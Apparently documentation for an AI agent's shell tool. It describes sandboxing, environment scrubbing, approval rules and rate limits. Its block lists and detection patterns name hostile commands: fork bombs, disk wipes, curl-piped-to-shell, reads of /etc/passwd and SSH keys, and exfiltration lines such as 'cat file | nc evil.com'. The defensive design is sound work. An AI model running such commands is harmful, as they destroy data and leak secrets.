Overview
The shell tool executes commands in a controlled environment with comprehensive security validations, timeout enforcement, and optional Docker sandbox isolation.shell
Execute shell commands for builds, tests, git operations, and other CLI tasks. Commands run in a subprocess with captured output. Input Parametersstring
required
The shell command to execute
string
Working directory for the command (optional)
integer
default:120
Timeout in seconds
string
Combined stdout and stderr output (truncated to 64KB)
integer
Process exit code (0 = success)
boolean
True if exit code is 0
boolean
True if command ran in Docker sandbox
Security Layers
Commands pass through multiple validation stages before execution:1. Blocked Commands
Exact pattern matches that are always rejected:rm -rf /,rm -rf /*- Fork bombs:
:(){ :|:& };: - Disk wipe:
dd if=/dev/zero,mkfs,> /dev/sda - Piped execution:
curl | sh,wget | bash
2. Dangerous Patterns
Substring matches for potentially dangerous commands:- Privilege escalation:
sudo,doas - Piped execution:
| sh,| bash,eval - Remote execution:
$(curl,$(wget - Sensitive files:
/etc/passwd,~/.ssh,id_rsa
3. Injection Detection
Obfuscation and exfiltration patterns:- Base64 to shell:
base64 -d | sh - Encoded escapes:
printf '\x...' | bash - Hex decode:
xxd -r ... | sh - DNS exfiltration:
dig $(cat secret)... - Netcat piping:
cat file | nc evil.com - File uploads:
curl -d @/etc/passwd,wget --post-file - String reversal:
echo 'hs | lr' | rev | sh
4. Environment Scrubbing
When running directly (no sandbox):- Only safe environment variables forwarded to child processes
- API keys, tokens, and credentials NOT inherited
- Prevents secret leakage via
env,printenv, or child processes
- Core OS:
PATH,HOME,USER,SHELL,TERM - Locale:
LANG,LC_* - Directories:
PWD,TMPDIR,XDG_* - Toolchains:
CARGO_HOME,RUSTUP_HOME,NODE_PATH - Editor:
EDITOR,VISUAL
Execution Modes
Docker Sandbox (When Available)
Commands run inside ephemeral containers:- Network traffic through validating proxy
- Credentials injected by proxy (never exposed)
- Filesystem isolation
- Resource limits enforced
Direct Execution (Fallback)
Commands run on host with:- Scrubbed environment (safe vars only)
- Working directory isolation
- Timeout enforcement
- Output capture and truncation
The tool never silently falls through to unsandboxed execution if sandbox was configured. Either sandbox runs or execution fails.
Approval Requirements
Destructive Commands
rm -rf,rm -frchmod 777,chown -rshutdown,reboot,poweroffkill -9,killall,pkill
System Changes
iptables,nftuseradd,userdel,passwdvisudo,crontabsystemctl disable
Version Control
git push --force,git push -fgit reset --hardgit clean -f
Docker Operations
docker rm,docker rmidocker system prune
Database Operations
DROP TABLE,DROP DATABASETRUNCATE,DELETE FROM
Rate Limiting
- 30 calls per minute
- 300 calls per hour
Output Handling
- Maximum output size: 64KB
- Longer output truncated (head + tail shown with size indicator)
- Both stdout and stderr captured
- Separate stderr section if both present
Error Conditions
- Blocked command pattern detected
- Dangerous pattern detected
- Command injection/obfuscation detected
- Failed to spawn command
- Sandbox error
- Command exceeded timeout (default 120s)
Examples
Build Command
Git Operations
Test Suite
File Search
Best Practices
- Use specific working directories instead of
cdcommands - Set appropriate timeouts for long-running operations
- Check exit codes to verify success
- Avoid sudo and privilege escalation
- Use git safely - avoid force push to main/master
- Prefer targeted commands over bulk deletions